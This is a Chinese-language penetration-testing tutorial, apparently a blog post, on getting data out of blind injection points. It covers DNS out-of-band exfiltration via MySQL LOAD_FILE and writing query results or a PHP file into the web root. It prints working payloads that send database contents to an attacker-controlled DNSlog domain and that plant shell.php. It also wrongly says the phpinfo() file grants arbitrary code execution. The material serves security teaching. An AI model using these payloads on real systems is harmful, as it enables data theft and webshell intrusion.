{"id":1659,"date":"2026-03-02T15:54:32","date_gmt":"2026-03-02T07:54:32","guid":{"rendered":"http:\/\/www.preluna.xyz\/?p=1659"},"modified":"2026-03-02T15:55:12","modified_gmt":"2026-03-02T07:55:12","slug":"8days","status":"publish","type":"post","link":"http:\/\/www.preluna.xyz\/index.php\/2026\/03\/02\/8days\/preluna\/text\/","title":{"rendered":"\u57fa\u7840\u5165\u95e8-\u6570\u636e\u4e0d\u56de\u663e&\u6570\u636e\u4e0d\u51fa\u7f51&\u51fa\u5165\u7ad9\u7b56\u7565&\u6b63\u53cd\u5411\u8fde\u63a5&\u53cd\u5f39Shell&\u5916\u5e26\u5ef6\u8fdf\u5199\u5165"},"content":{"rendered":"\n

\u6570\u636e\u4e0d\u56de\u663e\u539f\u56e0\u548c\u89e3\u51b3-\u5e26\u5916\u5ef6\u8fdf\u53cd\u5f39\u5199\u6587\u4ef6<\/h2>\n\n\n\n

\u5728\u6e17\u900f\u6d4b\u8bd5\u6216\u5b89\u5168\u6f14\u7ec3\u4e2d\uff0c\u6211\u4eec\u5e38\u5e38\u4f1a\u9047\u5230\u4e00\u79cd\u68d8\u624b\u7684\u60c5\u51b5\uff1a\u660e\u660e\u627e\u5230\u4e86\u4e00\u4e2a\u6ce8\u5165\u70b9\uff08\u6bd4\u5982 SQL \u6ce8\u5165\u6216\u547d\u4ee4\u6ce8\u5165\uff09\uff0c\u4f46\u65e0\u8bba\u600e\u4e48\u5c1d\u8bd5\uff0c\u9875\u9762\u4e0a\u5c31\u662f\u4e0d\u8fd4\u56de\u4efb\u4f55\u67e5\u8be2\u7ed3\u679c\uff0c\u4e5f\u4e0d\u663e\u793a\u9519\u8bef\u4fe1\u606f\u3002\u8fd9\u5c31\u597d\u6bd4\u4f60\u5728\u4e00\u4e2a\u623f\u95f4\u91cc\u95ee\u95ee\u9898\uff0c\u4f46\u5bf9\u65b9\u53ea\u901a\u8fc7\u70b9\u5934\u6216\u6447\u5934\u6765\u56de\u7b54\uff08\u5e03\u5c14\u76f2\u6ce8\uff09\uff0c\u751a\u81f3\u8981\u7b49\u5f88\u4e45\u624d\u6709\u53cd\u5e94\uff08\u65f6\u95f4\u76f2\u6ce8\uff09\uff0c\u6700\u5934\u75bc\u7684\u662f\u5bf9\u65b9\u5b8c\u5168\u4e0d\u7406\u4f60\uff08\u65e0\u56de\u663e\uff09\u3002\u8fd9\u79cd\u201c\u6570\u636e\u4e0d\u56de\u663e\u201d\u7684\u73b0\u8c61\u80cc\u540e\uff0c\u901a\u5e38\u662f\u5e94\u7528\u7a0b\u5e8f\u672a\u5c06\u67e5\u8be2\u7ed3\u679c\u8f93\u51fa\u5230\u9875\u9762\uff0c\u4ec5\u6839\u636e\u7ed3\u679c\u6267\u884c\u4e86\u67d0\u4e9b\u903b\u8f91\uff08\u6bd4\u5982\u767b\u5f55\u6210\u529f\u4e0e\u5426\uff09\uff0c\u6216\u8005\u4f7f\u7528\u4e86\u67d0\u4e9b\u6846\u67b6\u76f4\u63a5\u5c4f\u853d\u4e86\u8f93\u51fa\u3002\u5bf9\u4e8e\u65b0\u624b\u6765\u8bf4\uff0c\u6ca1\u6709\u56de\u663e\u610f\u5473\u7740\u65e0\u6cd5\u76f4\u63a5\u83b7\u53d6\u6570\u636e\uff0c\u4f46\u7cfb\u7edf\u53ea\u8981\u8fd8\u5728\u8fd0\u884c\uff0c\u5c31\u5fc5\u7136\u6709\u4e0e\u5176\u4ed6\u6a21\u5757\u4ea4\u4e92\u7684\u53ef\u80fd\u6027\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e9b\u4ea4\u4e92\u5c06\u6570\u636e\u201c\u5e26\u51fa\u6765\u201d\u3002<\/p>\n\n\n\n

\u89e3\u51b3\u65e0\u56de\u663e\u7684\u6838\u5fc3\u601d\u8def\u662f\u201c\u521b\u9020\u4e00\u6761\u65b0\u7684\u6570\u636e\u901a\u9053\u201d\u3002\u6700\u5b9e\u7528\u7684\u4e24\u79cd\u65b9\u6cd5\u662f\uff1a\u5e26\u5916\u5ef6\u8fdf\uff08Out-of-Band\uff09\u548c\u53cd\u5f39\u5199\u6587\u4ef6\u3002\u5e26\u5916\u5ef6\u8fdf\u5229\u7528\u76ee\u6807\u670d\u52a1\u5668\u4e3b\u52a8\u5411\u5916\u53d1\u8d77\u7f51\u7edc\u8bf7\u6c42\uff08\u5982 DNS \u67e5\u8be2\u6216 HTTP \u8bf7\u6c42\uff09\uff0c\u5c06\u6570\u636e\u85cf\u5728\u8bf7\u6c42\u4e2d\u53d1\u9001\u7ed9\u6211\u4eec\u76d1\u542c\u7684\u5916\u90e8\u670d\u52a1\u5668\uff1b\u53cd\u5f39\u5199\u6587\u4ef6\u5219\u5229\u7528\u76ee\u6807\u670d\u52a1\u5668\u7684\u6587\u4ef6\u7cfb\u7edf\uff0c\u5c06\u6570\u636e\u5199\u5165\u4e00\u4e2a\u6211\u4eec\u80fd\u591f\u8bbf\u95ee\u7684\u6587\u4ef6\uff08\u6bd4\u5982 Web \u76ee\u5f55\u4e0b\u7684\u6587\u672c\u6587\u4ef6\uff09\uff0c\u7136\u540e\u518d\u901a\u8fc7 HTTP \u8bf7\u6c42\u8bfb\u53d6\u5b83\u3002\u8fd9\u4e24\u79cd\u6280\u672f\u53ef\u4ee5\u5355\u72ec\u4f7f\u7528\uff0c\u4e5f\u53ef\u4ee5\u6839\u636e\u573a\u666f\u7ec4\u5408\uff0c\u4e0b\u9762\u6211\u4eec\u5206\u522b\u6df1\u5165\u8bb2\u89e3\u3002<\/p>\n\n\n\n

\u5e26\u5916\u5ef6\u8fdf\uff08OOB\uff09\u6280\u672f<\/h3>\n\n\n\n

\u6211\u4eec\u5148\u6765\u7406\u89e3\u5e26\u5916\u5ef6\u8fdf\u5728\u6574\u4e2a\u7cfb\u7edf\u4e2d\u626e\u6f14\u4ec0\u4e48\u89d2\u8272\u3002\u5f53\u6ce8\u5165\u70b9\u65e0\u6cd5\u76f4\u63a5\u56de\u663e\u65f6\uff0c\u6211\u4eec\u9700\u8981\u4e00\u4e2a\u201c\u4e2d\u95f4\u4eba\u201d\u628a\u6570\u636e\u9012\u51fa\u6765\u3002\u5047\u8bbe\u4f60\u88ab\u56f0\u5728\u4e00\u4e2a\u65e0\u6cd5\u4e0e\u5916\u754c\u76f4\u63a5\u901a\u8bdd\u7684\u623f\u95f4\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7\u6572\u5899\u7684\u8282\u594f\uff08\u5e26\u5916\u4fe1\u53f7\uff09\u628a\u4fe1\u606f\u4f20\u51fa\u53bb\u3002\u5728 Web \u7cfb\u7edf\u4e2d\uff0c\u6570\u636e\u5e93\u6216\u64cd\u4f5c\u7cfb\u7edf\u901a\u5e38\u5177\u5907\u53d1\u8d77\u7f51\u7edc\u8bf7\u6c42\u7684\u80fd\u529b\uff0c\u6bd4\u5982 MySQL \u7684 LOAD_FILE()<\/code> \u51fd\u6570\u53ef\u4ee5\u8bbf\u95ee\u8fdc\u7a0b\u6587\u4ef6\uff08\u5305\u62ec Windows \u7684 UNC \u8def\u5f84\uff09\uff0cMSSQL \u7684 xp_dirtree<\/code> \u53ef\u4ee5\u5217\u51fa\u8fdc\u7a0b\u5171\u4eab\u76ee\u5f55\uff0cOracle \u7684 UTL_HTTP<\/code> \u53ef\u4ee5\u53d1\u9001 HTTP \u8bf7\u6c42\u3002\u8fd9\u4e9b\u529f\u80fd\u539f\u672c\u662f\u4e3a\u4e86\u65b9\u4fbf\u7a0b\u5e8f\u96c6\u6210\uff0c\u4f46\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u5b83\u4eec\uff0c\u5c06\u67e5\u8be2\u7ed3\u679c\u4f5c\u4e3a\u5b50\u57df\u540d\u6216 URL \u53c2\u6570\u7684\u4e00\u90e8\u5206\uff0c\u89e6\u53d1\u76ee\u6807\u670d\u52a1\u5668\u5411\u81ea\u5df1\u63a7\u5236\u7684\u670d\u52a1\u5668\uff08\u5982 DNSlog \u5e73\u53f0\uff09\u53d1\u8d77\u8bf7\u6c42\u3002\u8fd9\u6837\uff0c\u6570\u636e\u5c31\u968f\u7740\u7f51\u7edc\u8bf7\u6c42\u88ab\u5e26\u5230\u4e86\u5916\u90e8\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u76d1\u542c\u7aef\u67e5\u770b\u65e5\u5fd7\u5373\u53ef\u83b7\u5f97\u6570\u636e\u3002<\/p>\n\n\n\n

\u4e3a\u4ec0\u4e48\u8fd9\u6837\u8bbe\u8ba1\uff1f\u56e0\u4e3a\u7f51\u7edc\u8bf7\u6c42\u662f\u5927\u591a\u6570\u670d\u52a1\u5668\u9ed8\u8ba4\u5141\u8bb8\u7684\u51fa\u7ad9\u884c\u4e3a\uff0c\u5373\u4f7f\u5e94\u7528\u5c42\u6ca1\u6709\u56de\u663e\uff0c\u5e95\u5c42\u7f51\u7edc\u4f9d\u7136\u53ef\u4ee5\u901a\u4fe1\u3002\u800c\u4e14\u8fd9\u79cd\u65b9\u5f0f\u5bf9\u76ee\u6807\u7cfb\u7edf\u5f71\u54cd\u5c0f\uff0c\u4e0d\u9700\u8981\u5728\u76ee\u6807\u78c1\u76d8\u4e0a\u5199\u6587\u4ef6\uff0c\u53ea\u8981\u76ee\u6807\u80fd\u51fa\u7f51\uff0c\u6570\u636e\u5c31\u80fd\u5b9e\u65f6\u5916\u4f20\u3002<\/p>\n\n\n\n

\u5b9e\u9645\u4e2d\u6700\u5e38\u7528\u7684\u5de5\u5177\u5305\u62ec Burp Collaborator\uff08\u96c6\u6210\u5728 Burp Suite \u4e2d\uff0c\u4f46\u9700\u8981\u516c\u7f51 IP \u6216\u4f7f\u7528\u5b98\u65b9 Collaborator \u670d\u52a1\u5668\uff09\u3001DNSlog.cn\uff08\u56fd\u5185\u514d\u8d39\uff0c\u7b80\u5355\u6613\u7528\uff09\u3001Interactsh\uff08\u5f00\u6e90\uff0c\u652f\u6301 DNS\/HTTP\/SMTP \u7b49\u591a\u79cd\u534f\u8bae\uff0c\u53ef\u81ea\u5efa\uff09\u3002\u5b83\u4eec\u7684\u5de5\u4f5c\u539f\u7406\u7c7b\u4f3c\uff1a\u4f60\u4ece\u5e73\u53f0\u4e0a\u83b7\u53d6\u4e00\u4e2a\u4e13\u5c5e\u57df\u540d\uff0c\u7136\u540e\u5728 payload \u4e2d\u5c06\u6570\u636e\u62fc\u63a5\u6210\u8be5\u57df\u540d\u7684\u5b50\u57df\u540d\uff0c\u5e73\u53f0\u5c31\u4f1a\u8bb0\u5f55\u6240\u6709\u5bf9\u8be5\u57df\u540d\u7684\u89e3\u6790\u8bf7\u6c42\u3002\u4f8b\u5982\uff0c\u5728 MySQL \u6ce8\u5165\u4e2d\uff0c\u4f60\u53ef\u4ee5\u6784\u9020\u8fd9\u6837\u7684 payload\uff08\u5047\u8bbe\u6ce8\u5165\u70b9\u5b58\u5728\u4e14\u652f\u6301\u5806\u53e0\u67e5\u8be2\u6216\u8054\u5408\u67e5\u8be2\uff09\uff1a<\/p>\n\n\n\n

SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT sensitive_data FROM users LIMIT 1), '.your-dnslog-domain.com\\\\test'))<\/code><\/pre>\n\n\n\n
\u9010\u884c\u89e3\u91ca\uff1aLOAD_FILE<\/code> \u662f MySQL \u7528\u6765\u8bfb\u53d6\u6587\u4ef6\u7684\u51fd\u6570\uff0c\u4f46\u5f53\u7ed9\u5b83\u4e00\u4e2a UNC \u8def\u5f84\uff08\u683c\u5f0f\u4e3a \\\\server\\share\\file<\/code>\uff09\u65f6\uff0cMySQL \u4f1a\u5c1d\u8bd5\u8bbf\u95ee\u8be5\u7f51\u7edc\u5171\u4eab\uff0c\u4ece\u800c\u89e6\u53d1\u4e00\u6b21 DNS \u89e3\u6790\u8bf7\u6c42\u3002CONCAT<\/code> \u5c06\u5b57\u7b26\u4e32\u62fc\u63a5\u8d77\u6765\uff0c\u5176\u4e2d sensitive_data<\/code> \u662f\u6211\u4eec\u8981\u5916\u4f20\u7684\u6570\u636e\uff0c\u5b83\u4f5c\u4e3a\u5b50\u57df\u540d\u7684\u4e00\u90e8\u5206\uff0c\u7d27\u63a5\u7740\u662f your-dnslog-domain.com<\/code>\uff08\u4f60\u4ece DNSlog \u5e73\u53f0\u83b7\u5f97\u7684\u57df\u540d\uff09\u3002\u6700\u540e \\\\test<\/code> \u662f\u5171\u4eab\u8def\u5f84\u7684\u4e00\u90e8\u5206\uff0c\u786e\u4fdd UNC \u683c\u5f0f\u5b8c\u6574\u3002\u6574\u4e2a\u8bed\u53e5\u6267\u884c\u540e\uff0cMySQL \u4f1a\u53bb\u89e3\u6790 sensitive_data.your-dnslog-domain.com<\/code>\uff0cDNSlog \u5e73\u53f0\u5c31\u4f1a\u8bb0\u5f55\u4e0b\u8fd9\u4e2a\u5b8c\u6574\u7684\u5b50\u57df\u540d\uff0c\u4ece\u800c\u6cc4\u9732\u6570\u636e\u3002<\/p>\n\n\n\n
\u5728\u914d\u7f6e\u65f6\uff0c\u4f60\u9700\u8981\u5148\u53bb DNSlog \u5e73\u53f0\u6ce8\u518c\u6216\u83b7\u53d6\u4e00\u4e2a\u57df\u540d\uff08\u5982 xxx.dnslog.cn<\/code>\uff09\uff0c\u7136\u540e\u5728 payload \u4e2d\u66ff\u6362\u5373\u53ef\u3002\u6267\u884c\u540e\u767b\u5f55\u5e73\u53f0\u67e5\u770b\u89e3\u6790\u8bb0\u5f55\uff0c\u5c31\u80fd\u770b\u5230\u5305\u542b\u654f\u611f\u6570\u636e\u7684\u5b50\u57df\u540d\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u79cd\u65b9\u6cd5\u8981\u6c42\u76ee\u6807\u7cfb\u7edf\u652f\u6301 UNC \u8def\u5f84\uff08\u901a\u5e38\u662f Windows \u73af\u5883\u4e0b\u7684 MySQL\uff09\uff0c\u4e14 secure_file_priv<\/code> \u53d8\u91cf\u672a\u9650\u5236\u6587\u4ef6\u64cd\u4f5c\u3002\u5982\u679c\u76ee\u6807\u65e0\u6cd5\u51fa\u7f51\uff0c\u6216\u8005\u9632\u706b\u5899\u963b\u6b62\u4e86 DNS \u51fa\u7ad9\uff0c\u5e26\u5916\u5c31\u4f1a\u5931\u8d25\u3002\u56e0\u6b64\u9a8c\u8bc1\u7684\u7b2c\u4e00\u6b65\u662f\u5148\u7528\u4e00\u4e2a\u7b80\u5355\u7684\u5e26\u5916\u8bf7\u6c42\u6d4b\u8bd5\u76ee\u6807\u662f\u5426\u80fd\u51fa\u7f51\uff0c\u6bd4\u5982\u6267\u884c\uff1a<\/p>\n\n\n\n
SELECT LOAD_FILE('\\\\\\\\test.xxx.dnslog.cn\\\\test')<\/code><\/pre>\n\n\n\n
\u5982\u679c DNSlog \u5e73\u53f0\u6536\u5230\u4e86 test.xxx.dnslog.cn<\/code> \u7684\u89e3\u6790\u8bf7\u6c42\uff0c\u8bf4\u660e\u5e26\u5916\u901a\u9053\u53ef\u7528\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u6b63\u5f0f\u83b7\u53d6\u6570\u636e\u4e86\u3002<\/p>\n\n\n\n
\u6700\u5bb9\u6613\u8e29\u7684\u5751\u5305\u62ec\uff1a\u6570\u636e\u4e2d\u5305\u542b\u7279\u6b8a\u5b57\u7b26\uff08\u5982\u70b9\u53f7\u3001\u7a7a\u683c\uff09\u5bfc\u81f4\u57df\u540d\u89e3\u6790\u5931\u8d25\uff0c\u6b64\u65f6\u9700\u8981\u7f16\u7801\u6216\u53ea\u63d0\u53d6\u5b57\u6bcd\u6570\u5b57\u90e8\u5206\uff1bMySQL \u7684 LOAD_FILE<\/code> \u5728\u4e25\u683c\u6a21\u5f0f\u4e0b\u53ef\u80fd\u65e0\u6cd5\u6267\u884c\uff1b\u9632\u706b\u5899\u53ef\u80fd\u53ea\u5141\u8bb8\u7279\u5b9a\u7aef\u53e3\u7684 DNS \u51fa\u7ad9\u3002\u9a8c\u8bc1\u65b9\u6cd5\u5c31\u662f\u4e0a\u8ff0\u7684\u8fde\u901a\u6027\u6d4b\u8bd5\u3002\u5982\u679c\u5e26\u5916\u6210\u529f\uff0c\u4e0b\u4e00\u6b65\u5c31\u662f\u6839\u636e\u6570\u636e\u91cf\u8c03\u6574 payload\uff0c\u6bd4\u5982\u5206\u6279\u83b7\u53d6\u3002\u5982\u679c\u5931\u8d25\uff0c\u5c31\u8981\u8003\u8651\u4f7f\u7528\u53cd\u5f39\u5199\u6587\u4ef6\u6280\u672f\u3002<\/p>\n\n\n\n
Mermaid \u56fe\u8868\uff1a[\u5e26\u5916\u6570\u636e\u5916\u5e26\u6d41\u7a0b\u56fe]<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u8fd9\u5f20\u56fe\u4e2d\uff0c\u6bcf\u4e2a\u65b9\u6846\u4ee3\u8868\u4e00\u4e2a\u53c2\u4e0e\u5b9e\u4f53\uff1a\u653b\u51fb\u8005\u3001\u76ee\u6807 Web \u670d\u52a1\u5668\u3001\u6570\u636e\u5e93\u3001\u653b\u51fb\u8005 DNS \u670d\u52a1\u5668\u3002\u7bad\u5934\u8868\u793a\u6570\u636e\u6d41\u5411\uff1a\u653b\u51fb\u8005\u9996\u5148\u5411\u76ee\u6807 Web \u670d\u52a1\u5668\u53d1\u9001\u6076\u610f\u8bf7\u6c42\uff0cWeb \u670d\u52a1\u5668\u5c06\u8bf7\u6c42\u4f20\u9012\u7ed9\u6570\u636e\u5e93\u6267\u884c\uff0c\u6570\u636e\u5e93\u5728\u67e5\u8be2\u8fc7\u7a0b\u4e2d\u89e6\u53d1\u4e86\u5e26\u5916\u51fd\u6570\uff0c\u5411\u653b\u51fb\u8005\u63a7\u5236\u7684 DNS \u670d\u52a1\u5668\u53d1\u8d77 DNS \u67e5\u8be2\uff0c\u8fd9\u4e2a\u67e5\u8be2\u7684\u57df\u540d\u4e2d\u5d4c\u5165\u4e86\u654f\u611f\u6570\u636e\uff0c\u6700\u540e DNS \u670d\u52a1\u5668\u8bb0\u5f55\u65e5\u5fd7\uff0c\u653b\u51fb\u8005\u67e5\u770b\u65e5\u5fd7\u83b7\u5f97\u6570\u636e\u3002\u6574\u4e2a\u6d41\u7a0b\u4e2d\uff0c\u6570\u636e\u4ece\u6570\u636e\u5e93\u76f4\u63a5\u6d41\u5411\u5916\u90e8 DNS \u670d\u52a1\u5668\uff0c\u7ed5\u8fc7\u4e86 Web \u5e94\u7528\u5c42\u7684\u56de\u663e\u9650\u5236\u3002<\/p>\n\n\n\n
\u53cd\u5f39\u5199\u6587\u4ef6\u6280\u672f<\/h3>\n\n\n\n
\u5f53\u76ee\u6807\u7f51\u7edc\u9694\u79bb\u4e25\u683c\uff0c\u65e0\u6cd5\u51fa\u7f51\u65f6\uff0c\u5e26\u5916\u6280\u672f\u5c31\u5931\u6548\u4e86\uff0c\u8fd9\u65f6\u6211\u4eec\u9700\u8981\u8003\u8651\u5c06\u6570\u636e\u5199\u5165\u670d\u52a1\u5668\u672c\u5730\u6587\u4ef6\u3002\u60f3\u8c61\u4f60\u65e0\u6cd5\u628a\u4fe1\u5bc4\u51fa\u53bb\uff0c\u4f46\u53ef\u4ee5\u5728\u623f\u95f4\u91cc\u523b\u5b57\uff0c\u7136\u540e\u8ba9\u522b\u4eba\u8fdb\u6765\u770b\u3002\u5728\u7cfb\u7edf\u7ed3\u6784\u4e2d\uff0c\u6587\u4ef6\u7cfb\u7edf\u662f\u6bcf\u4e2a\u670d\u52a1\u5668\u90fd\u5177\u5907\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u5982\u679c\u6ce8\u5165\u70b9\u5141\u8bb8\u6267\u884c\u6587\u4ef6\u5199\u5165\u64cd\u4f5c\uff08\u6bd4\u5982 SQL \u7684 INTO OUTFILE<\/code> \u6216\u547d\u4ee4\u6ce8\u5165\u7684 echo<\/code> \u91cd\u5b9a\u5411\uff09\uff0c\u6211\u4eec\u5c31\u80fd\u5c06\u67e5\u8be2\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u6211\u4eec\u80fd\u591f\u8bbf\u95ee\u7684\u8def\u5f84\u4e0b\uff0c\u6bd4\u5982 Web \u6839\u76ee\u5f55\u3001\u4e34\u65f6\u76ee\u5f55\u6216\u901a\u8fc7\u5176\u4ed6\u6f0f\u6d1e\u53ef\u8bfb\u53d6\u7684\u76ee\u5f55\u3002<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u8fd9\u6837\u8bbe\u8ba1\uff1f\u56e0\u4e3a\u6587\u4ef6\u5199\u5165\u662f\u670d\u52a1\u5668\u65e5\u5e38\u8fd0\u884c\u7684\u4e00\u90e8\u5206\uff0c\u6570\u636e\u5e93\u901a\u5e38\u6709\u5bfc\u51fa\u529f\u80fd\uff0c\u7cfb\u7edf\u547d\u4ee4\u4e5f\u6709\u91cd\u5b9a\u5411\u673a\u5236\u3002\u5229\u7528\u8fd9\u4e9b\u529f\u80fd\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u6570\u636e\u201c\u6253\u5370\u201d\u5230\u6587\u4ef6\u4e2d\uff0c\u7136\u540e\u50cf\u6b63\u5e38\u7528\u6237\u4e00\u6837\u901a\u8fc7 HTTP \u8bf7\u6c42\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u79cd\u65b9\u6cd5\u7684\u4f18\u70b9\u662f\u53ea\u8981\u76ee\u6807\u670d\u52a1\u5668\u6709 Web \u670d\u52a1\u4e14\u76ee\u5f55\u53ef\u5199\uff0c\u6211\u4eec\u5c31\u80fd\u76f4\u63a5\u83b7\u53d6\u6570\u636e\uff0c\u5b8c\u5168\u4e0d\u4f9d\u8d56\u7f51\u7edc\u51fa\u7ad9\u3002<\/p>\n\n\n\n
\u5e38\u7528\u7684\u5b9e\u73b0\u65b9\u5f0f\u6839\u636e\u6ce8\u5165\u70b9\u7c7b\u578b\u800c\u5f02\u3002\u5bf9\u4e8e SQL \u6ce8\u5165\uff0cMySQL \u7684 INTO OUTFILE<\/code> \u548c INTO DUMPFILE<\/code> \u662f\u6700\u76f4\u63a5\u7684\uff0c\u5b83\u4eec\u80fd\u5c06\u67e5\u8be2\u7ed3\u679c\u5199\u5165\u6307\u5b9a\u6587\u4ef6\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n
SELECT sensitive_data INTO OUTFILE '\/var\/www\/html\/data.txt' FROM users WHERE username='admin'<\/code><\/pre>\n\n\n\n
\u9010\u884c\u89e3\u91ca\uff1aSELECT ... INTO OUTFILE<\/code> \u5c06\u67e5\u8be2\u7ed3\u679c\u76f4\u63a5\u5199\u5165\u670d\u52a1\u5668\u6587\u4ef6\u7cfb\u7edf\uff0c\u8def\u5f84\u4e3a \/var\/www\/html\/data.txt<\/code>\uff0c\u8fd9\u662f Linux \u4e0a\u5e38\u89c1\u7684 Web \u6839\u76ee\u5f55\u3002\u5982\u679c\u76ee\u6807 Web \u670d\u52a1\u8fd0\u884c\u5728 Windows \u4e0a\uff0c\u8def\u5f84\u53ef\u80fd\u662f C:\\inetpub\\wwwroot\\data.txt<\/code>\u3002\u6267\u884c\u540e\uff0c\u67e5\u8be2\u7ed3\u679c\u5c31\u4f1a\u4ee5\u6587\u672c\u5f62\u5f0f\u4fdd\u5b58\u5728\u8be5\u6587\u4ef6\u4e2d\u3002\u4e4b\u540e\uff0c\u653b\u51fb\u8005\u53ea\u9700\u8bbf\u95ee http:\/\/target.com\/data.txt<\/code> \u5373\u53ef\u770b\u5230\u6570\u636e\u3002<\/p>\n\n\n\n
\u5bf9\u4e8e\u547d\u4ee4\u6ce8\u5165\uff0c\u53ef\u4ee5\u5229\u7528\u7cfb\u7edf\u547d\u4ee4\u91cd\u5b9a\u5411\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n
echo '<?php phpinfo();?>' > \/var\/www\/html\/shell.php<\/code><\/pre>\n\n\n\n
\u5982\u679c\u6ce8\u5165\u70b9\u5728\u7cfb\u7edf\u547d\u4ee4\u53c2\u6570\u4e2d\uff0c\u53ef\u4ee5\u6784\u9020 ; echo '<?php phpinfo();?>' > \/var\/www\/html\/shell.php<\/code> \u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5165 Web \u76ee\u5f55\uff0c\u7136\u540e\u901a\u8fc7\u8bbf\u95ee shell.php \u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u8fd9\u79cd\u65b9\u5f0f\u66f4\u7075\u6d3b\u3002<\/p>\n\n\n\n
\u5b9e\u9645\u573a\u666f\u4e2d\uff0c\u4f60\u9996\u5148\u9700\u8981\u77e5\u9053 Web \u76ee\u5f55\u7684\u7edd\u5bf9\u8def\u5f84\u3002\u8fd9\u53ef\u4ee5\u901a\u8fc7\u9519\u8bef\u4fe1\u606f\u3001\u9ed8\u8ba4\u8def\u5f84\u731c\u6d4b\u6216\u8bfb\u53d6\u914d\u7f6e\u6587\u4ef6\u83b7\u5f97\u3002\u914d\u7f6e\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u5fc5\u987b\u786e\u4fdd MySQL \u6709\u6587\u4ef6\u5199\u5165\u6743\u9650\uff0c\u4e14 secure_file_priv<\/code> \u53d8\u91cf\u672a\u9650\u5236\uff08\u7a7a\u503c\u8868\u793a\u65e0\u9650\u5236\uff09\u3002\u5728 MySQL \u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7 SHOW VARIABLES LIKE 'secure_file_priv'<\/code> \u67e5\u770b\uff0c\u5982\u679c\u503c\u4e3a \/var\/lib\/mysql-files\/<\/code>\uff0c\u5219\u53ea\u80fd\u5199\u5165\u8be5\u76ee\u5f55\uff0c\u6b64\u65f6\u53ef\u4ee5\u5c1d\u8bd5\u5199\u5165\u8be5\u76ee\u5f55\u540e\u7ed3\u5408\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u8bfb\u53d6\uff0c\u6216\u8005\u5bfb\u627e\u5176\u4ed6\u53ef\u5199\u76ee\u5f55\u3002<\/p>\n\n\n\n
\u6700\u5bb9\u6613\u8e29\u7684\u5751\u5305\u62ec\uff1a\u8def\u5f84\u6743\u9650\u95ee\u9898\uff0c\u6bd4\u5982 Web \u76ee\u5f55\u4e0d\u53ef\u5199\uff1bMySQL \u7684 secure_file_priv<\/code> \u9650\u5236\u5bfc\u81f4\u5199\u5165\u5931\u8d25\uff1b\u6587\u4ef6\u5df2\u5b58\u5728\u5bfc\u81f4\u5199\u5165\u88ab\u8986\u76d6\u6216\u51fa\u9519\uff1b\u5199\u5165\u7684\u6570\u636e\u5305\u542b\u6362\u884c\u7b26\u7b49\u7279\u6b8a\u5b57\u7b26\u53ef\u80fd\u7834\u574f\u6587\u4ef6\u7ed3\u6784\u3002\u9a8c\u8bc1\u65b9\u6cd5\uff1a\u5148\u5199\u5165\u4e00\u4e2a\u7b80\u5355\u7684\u6d4b\u8bd5\u6587\u4ef6\uff0c\u5982 SELECT 'test' INTO OUTFILE '\/tmp\/test.txt'<\/code>\uff0c\u7136\u540e\u5c1d\u8bd5\u7528\u5176\u4ed6\u65b9\u5f0f\u786e\u8ba4\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff08\u6bd4\u5982\u5229\u7528\u76ee\u5f55\u904d\u5386\u6f0f\u6d1e\u6216\u9519\u8bef\u4fe1\u606f\uff09\u3002\u5982\u679c\u6210\u529f\uff0c\u518d\u5199\u5165\u5b9e\u9645\u6570\u636e\u3002\u5982\u679c\u5931\u8d25\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5176\u4ed6\u8def\u5f84\uff0c\u6216\u8005\u5229\u7528\u6570\u636e\u5e93\u7684\u9519\u8bef\u4fe1\u606f\u83b7\u53d6\u53ef\u5199\u8def\u5f84\uff08\u4f8b\u5982 MySQL \u5728\u5199\u5165\u5931\u8d25\u65f6\u4f1a\u8fd4\u56de Can't create\/write to file<\/code>\uff0c\u5176\u4e2d\u53ef\u80fd\u5305\u542b\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u4fe1\u606f\uff09\u3002<\/p>\n\n\n\n
\u4e0b\u4e00\u6b65\u64cd\u4f5c\u5efa\u8bae\uff1a\u5982\u679c\u5199\u5165\u6210\u529f\uff0c\u7acb\u5373\u8bfb\u53d6\u6587\u4ef6\uff1b\u5982\u679c\u6587\u4ef6\u4f4d\u4e8e Web \u76ee\u5f55\u4f46\u8bbf\u95ee\u65f6\u62a5 404\uff0c\u53ef\u80fd\u662f\u8def\u5f84\u4e0d\u5bf9\u6216\u6587\u4ef6\u6269\u5c55\u540d\u88ab\u89e3\u6790\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u7eaf\u6587\u672c\u6587\u4ef6\uff08\u5982 .txt<\/code>\uff09\u907f\u514d\u6267\u884c\u3002\u5982\u679c\u9700\u8981\u4e0e\u4e0b\u4e00\u4e2a\u6a21\u5757\u8054\u52a8\uff0c\u6bd4\u5982\u5199\u5165\u7684\u662f Webshell\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u662f\u5229\u7528 Webshell \u8fdb\u884c\u66f4\u6df1\u5165\u7684\u64cd\u4f5c\u3002<\/p>\n\n\n\n
Mermaid \u56fe\u8868\uff1a[\u6587\u4ef6\u5199\u5165\u6570\u636e\u5916\u5e26\u6d41\u7a0b\u56fe]<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
